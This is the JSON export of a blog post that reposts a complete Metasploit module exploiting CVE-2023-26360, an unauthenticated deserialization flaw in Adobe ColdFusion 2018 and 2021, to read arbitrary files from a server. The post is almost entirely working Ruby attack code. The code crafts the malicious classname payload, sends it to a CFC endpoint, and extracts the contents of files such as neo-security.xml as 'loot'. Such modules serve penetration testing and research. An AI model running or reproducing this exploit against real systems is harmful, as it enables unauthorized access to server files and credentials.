{"id":59294,"date":"2024-08-31T22:30:30","date_gmt":"2024-08-31T19:30:30","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180623\/adobe_coldfusion_fileread_cve_2023_26360.rb.txt"},"modified":"2024-08-31T22:30:30","modified_gmt":"2024-08-31T19:30:30","slug":"adobe-coldfusion-unauthenticated-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/adobe-coldfusion-unauthenticated-arbitrary-file-read\/","title":{"rendered":"Adobe ColdFusion Unauthenticated Arbitrary File Read"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Adobe ColdFusion Unauthenticated Arbitrary File Read&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe<br \/>ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to read<br \/>an arbitrary file from the server.<\/p>\n<p>To run this module you must provide a valid ColdFusion Component (CFC) endpoint via the CFC_ENDPOINT option,<br \/>and a valid remote method name from that endpoint via the CFC_METHOD option. By default an endpoint in the<br \/>ColdFusion Administrator (CFIDE) is provided. If the CFIDE is not accessible you will need to choose a<br \/>different CFC endpoint, method and parameters.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;sf&#8217;, # MSF Module &amp; Rapid7 Analysis<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2023-26360&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/F36ClHTTIQ\/cve-2023-26360\/rapid7-analysis&#8217;]],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; []}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8500),<br \/>Opt::RHOST(&#8216;0.0.0.0&#8217;),<br \/>OptBool.new(&#8216;STORE_LOOT&#8217;, [false, &#8216;Store the target file as loot&#8217;, true]),<br \/>OptString.new(&#8216;TARGETFILE&#8217;, [true, &#8216;The target file to read, relative to the wwwroot folder.&#8217;, &#8216;..\/lib\/neo-security.xml&#8217;]),<br \/>OptString.new(&#8216;CFC_ENDPOINT&#8217;, [true, &#8216;The target ColdFusion Component (CFC) endpoint&#8217;, &#8216;\/CFIDE\/wizards\/common\/utils.cfc&#8217;]),<br \/>OptString.new(&#8216;CFC_METHOD&#8217;, [true, &#8216;The target ColdFusion Component (CFC) remote method name&#8217;, &#8216;wizardHash&#8217;]),<br \/>OptString.new(&#8216;CFC_METHOD_PARAMETERS&#8217;, [false, &#8216;Additional target ColdFusion Component (CFC) remote method parameters to supply via a GET request (e.g. &#8220;param1=foo, param2=hello world&#8221;)&#8217;, &#8216;inPassword=foo&#8217;])<br \/>])<br \/>end<\/p>\n<p>def run<br \/>unless datastore[&#8216;CFC_ENDPOINT&#8217;].end_with? &#8216;.cfc&#8217;<br \/>fail_with(Failure::BadConfig, &#8216;The CFC_ENDPOINT must point to a .cfc file&#8217;)<br \/>end<\/p>\n<p>if datastore[&#8216;TARGETFILE&#8217;].empty? || datastore[&#8216;TARGETFILE&#8217;].end_with?(&#8216;.cfc&#8217;, &#8216;.cfm&#8217;)<br \/>fail_with(Failure::BadConfig, &#8216;The TARGETFILE must not point to a .cfc or .cfm file&#8217;)<br \/>end<\/p>\n<p># The relative path from wwwroot to the TARGETFILE.<br \/>target_file = datastore[&#8216;TARGETFILE&#8217;]\n<p># To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters<br \/># to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.<br \/>if target_file.include? &#8216;\\\\&#8217;<br \/>classname = &#8220;#{Rex::Text.rand_text_alphanumeric(1)}#{target_file}&#8221;<br \/>else<br \/>classname = &#8220;#{Rex::Text.rand_text_alphanumeric(1)}\/#{target_file}&#8221;<br \/>end<\/p>\n<p>json_variables = &#8220;{\\&#8221;_metadata\\&#8221;:{\\&#8221;classname\\&#8221;:#{classname.to_json}},\\&#8221;_variables\\&#8221;:[]}&#8221;<\/p>\n<p>vars_get = { &#8216;method&#8217; =&gt; datastore[&#8216;CFC_METHOD&#8217;], &#8216;_cfclient&#8217; =&gt; &#8216;true&#8217;, &#8216;returnFormat&#8217; =&gt; &#8216;wddx&#8217; }<\/p>\n<p># If the CFC_METHOD required parameters, extract them from CFC_METHOD_PARAMETERS and add to the vars_get Hash.<br \/>unless datastore[&#8216;CFC_METHOD_PARAMETERS&#8217;].blank?<br \/>datastore[&#8216;CFC_METHOD_PARAMETERS&#8217;].split(&#8216;,&#8217;).each do |pair|<br \/>param_name, param_value = pair.split(&#8216;=&#8217;, 2)<br \/># remove the leading\/trailing whitespace so user can pass something like &#8220;p1=foo, p2 = bar , p3 = hello world, p4&#8221;<br \/>vars_get[param_name.strip] = param_value&amp;.strip<br \/>end<br \/>end<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;CFC_ENDPOINT&#8217;]),<br \/>&#8216;vars_get&#8217; =&gt; vars_get,<br \/>&#8216;vars_post&#8217; =&gt; { &#8216;_variables&#8217; =&gt; json_variables }<br \/>)<\/p>\n<p>file_data = nil<\/p>\n<p># The TARGETFILE contents will be emitted after the WDDX result of the remote CFC_METHOD. A _cfclient call<br \/># will always return a struct with a &#8216;variables&#8217; key via ComponentFilter.invoke and by selecting a returnFormat of<br \/># wddx, we know to have a closing wddxPacket to search for. So we search for the TARGETFILE contents after<br \/># the closing wddxPacket tag in the response body.<br \/>wddx_packet_tag = &#8216;&lt;\/wddxPacket&gt;&#8217;<\/p>\n<p>if res &amp;&amp; res.code == 200 &amp;&amp; (res.body.include? wddx_packet_tag)<\/p>\n<p>file_data = res.body[res.body.index(wddx_packet_tag) + wddx_packet_tag.length..]\n<p># If the default CFC options were used, we know the output will end with the result of calling wizardHash. So we can<br \/># remove the result which is a SHA1 hash and two 32 byte random strings, comma separated and a trailing space.<br \/>if datastore[&#8216;CFC_ENDPOINT&#8217;] == &#8216;\/CFIDE\/wizards\/common\/utils.cfc&#8217; &amp;&amp; datastore[&#8216;CFC_METHOD&#8217;] == &#8216;wizardHash&#8217;<br \/>file_data = file_data[0..file_data.length &#8211; (40 + 32 + 32 + 2 + 1) &#8211; 1]end<br \/>else<br \/># ColdFusion has a non-default option &#8216;Enable Request Debugging Output&#8217;, which if enabled may return a HTTP 500<br \/># or 404 error, while also including the arbitrary file read output. We detect this here and retrieve the file<br \/># output which is prepended to the error page.<br \/>request_debugging_tag = &#8216;&lt;!&#8211; &#8221; &#8212;&gt;&lt;\/TD&gt;&lt;\/TD&gt;&lt;\/TD&gt;&lt;\/TH&gt;&lt;\/TH&gt;&lt;\/TH&gt;&#8217;<\/p>\n<p>if res &amp;&amp; (res.code == 404 || res.code == 500) &amp;&amp; (res.body.include? request_debugging_tag)<br \/>file_data = res.body[0, res.body.index(request_debugging_tag)]end<br \/>end<\/p>\n<p>if file_data.blank?<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to read the file. Ensure both the CFC_ENDPOINT, CFC_METHOD and CFC_METHOD_PARAMETERS are set correctly and that the endpoint is accessible.&#8217;)<br \/>end<\/p>\n<p>if datastore[&#8216;STORE_LOOT&#8217;] == true<br \/>print_status(&#8216;Storing the file data to loot&#8230;&#8217;)<\/p>\n<p>store_loot(File.basename(target_file), &#8216;text\/plain&#8217;, datastore[&#8216;RHOST&#8217;], file_data, datastore[&#8216;TARGETFILE&#8217;], &#8216;File read from Adobe ColdFusion server&#8217;)<br \/>else<br \/>print_status(file_data.to_s)<br \/>end<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Adobe ColdFusion Unauthenticated Arbitrary File Read&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in AdobeColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59294","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59294","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59294"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59294\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59294"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}